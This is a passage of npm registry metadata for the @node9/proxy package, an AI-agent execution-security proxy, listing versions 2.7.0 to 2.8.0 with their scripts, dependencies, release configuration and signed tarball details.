examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.7.0_1788285541241_0.6747557870762897","host":"s3://npm-registry-packages-npm-production"}},"2.7.1":{"name":"@node9/proxy","version":"2.7.1","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.7.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"2d6404a2b9b08d1ab38948355c2b275af70e146d","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.7.1.tgz","fileCount":17,"integrity":"sha512-NHAsCQI8wbohpqFDo9hIV7rdIq1A5H1j2ymKm4/QW+0Egw+ErreQLybD5DpY+3263m/QMBHxEi8diW2XAegW1A==","signatures":[{"sig":"MEYCIQD/4wiJypXvOx3khgbXx2nnyB9jaQ79dZlaAUp5SdSxtgIhANpuCkO1roVotp/V26Nj60/aHWwmoAXM7zcF8r3RSkm/","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.7.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7054056},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"47cd4d076e8fa8e3a71a9c6db8c218390ef6c160","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.7.1_1788294464137_0.017716031771245033","host":"s3://npm-registry-packages-npm-production"}},"2.7.2":{"name":"@node9/proxy","version":"2.7.2","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.7.2","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"03ccae0f7dabb6d23207a3ef9baf6f3c3a87331f","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.7.2.tgz","fileCount":17,"integrity":"sha512-JydGj1CGtZLHH6ED4lbvVcoSgxI+k2CKODJBqHKGTcVfOeHSZ8a3uFcbnxLJX2JqgC9sYBgslKfLYuZmEBVUqw==","signatures":[{"sig":"MEQCIEd5QE3lOE0Sad5HUTlUxfMwzj5Idwyh9Qrwuv7HKeuhAiAfs1jabH1Hye7ymXlGqB8yex/dmwUfomUBLy31kl+Lkw==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.7.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7053964},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"968d4caf42888e9926da477cd3865220a44d07a3","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.7.2_1788327244781_0.6703104677872729","host":"s3://npm-registry-packages-npm-production"}},"2.7.3":{"name":"@node9/proxy","version":"2.7.3","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.7.3","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"b93e95b729c6a8d8c08731891cd013c5cfcea94d","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.7.3.tgz","fileCount":17,"integrity":"sha512-YCTaC9daM2Umrxbe0K4gB8377W7uByqH2pCXva1jnKNjNIvwMs07i/vHsIhHPQWpLoRHQPIFaYg8qtrUCH2T7g==","signatures":[{"sig":"MEUCIQCcE2HXXGNdAXaISEIxF+2OTHk/eX5CtL4hsCf/gqQvNAIgPnJhuaJnFx0DdAaIdpYr4J9gaM4vYt+U5cZ2nX4R6jY=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.7.3","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7054363},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"cb592525a41c389fa6b4d68ca8881ff1b9c257d9","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.7.3_1788374929743_0.6065246996523228","host":"s3://npm-registry-packages-npm-production"}},"2.7.4":{"name":"@node9/proxy","version":"2.7.4","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.7.4","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"898449cce43a50962f09f1c18095d21678eb6fe8","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.7.4.tgz","fileCount":17,"integrity":"sha512-gJQZgngRIVQgKVLh3k6Z+BZAu4I6fHd8GzExJ7/GJB9bb4mrm4w4TRtMNPW5J+aW8ICD6RuxXEENsIWpHer7jg==","signatures":[{"sig":"MEUCIQCpDbF5vuf5TavYhkFS997n2SEh34+T9cIIHthx6E1ObQIgRLPfZ3yifLjSKI/SACkjnt/KK958GEZjrlB9mGDGAYM=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.7.4","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7054812},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"81a6738a8656accaa80aaaa644642b2d771af681","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.7.4_1788376681199_0.18620758438671792","host":"s3://npm-registry-packages-npm-production"}},"2.7.5":{"name":"@node9/proxy","version":"2.7.5","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.7.5","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"864b33f5ed049dd8336df921163c2031394c05dd","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.7.5.tgz","fileCount":17,"integrity":"sha512-50Xl5dbnhomCWG9tpBd+JK5/duGY1dEl4OM5r2rTbGzhI6Cb8L57pMUucI/YlS1kuRYM1p5+q9pIrbQSed1P3w==","signatures":[{"sig":"MEQCIGIkoeB44oeKEGmhyAREchT6PEfH2/R6Tg0OsUr/SIemAiAm6LAgxvibRDe025lZb02XkWE6UnNR2ER3+DmMwrK3Kg==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.7.5","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7055262},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"cbe07805030d49740c119dbc5666448bc88f2cc1","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.7.5_1788423689588_0.9057961216059072","host":"s3://npm-registry-packages-npm-production"}},"2.8.0":{"name":"@node9/proxy","version":"2.8.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.8.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"6f64be558fab0baad05ec555801c3bc93b96b78d","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.8.0.tgz","fileCount":17,"integrity":"sha512-dOP6BhytzgbQrS/r+vOQ14OQr6k7UNiILLMh6fZ21i5oSg9hd+R3deggyIjvTnBzqnCYfWCfq4WmPIJ5yz1kEQ==","signatures":[{"sig":"MEUCIQD0kJS27cJf9//p3q267Yr2opGOrQHOhsI/TDaUPYMheAIgZd2TmL9xwGYw1t25MjT/2m53/7yDR66/XI6xCzeHzVI=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fp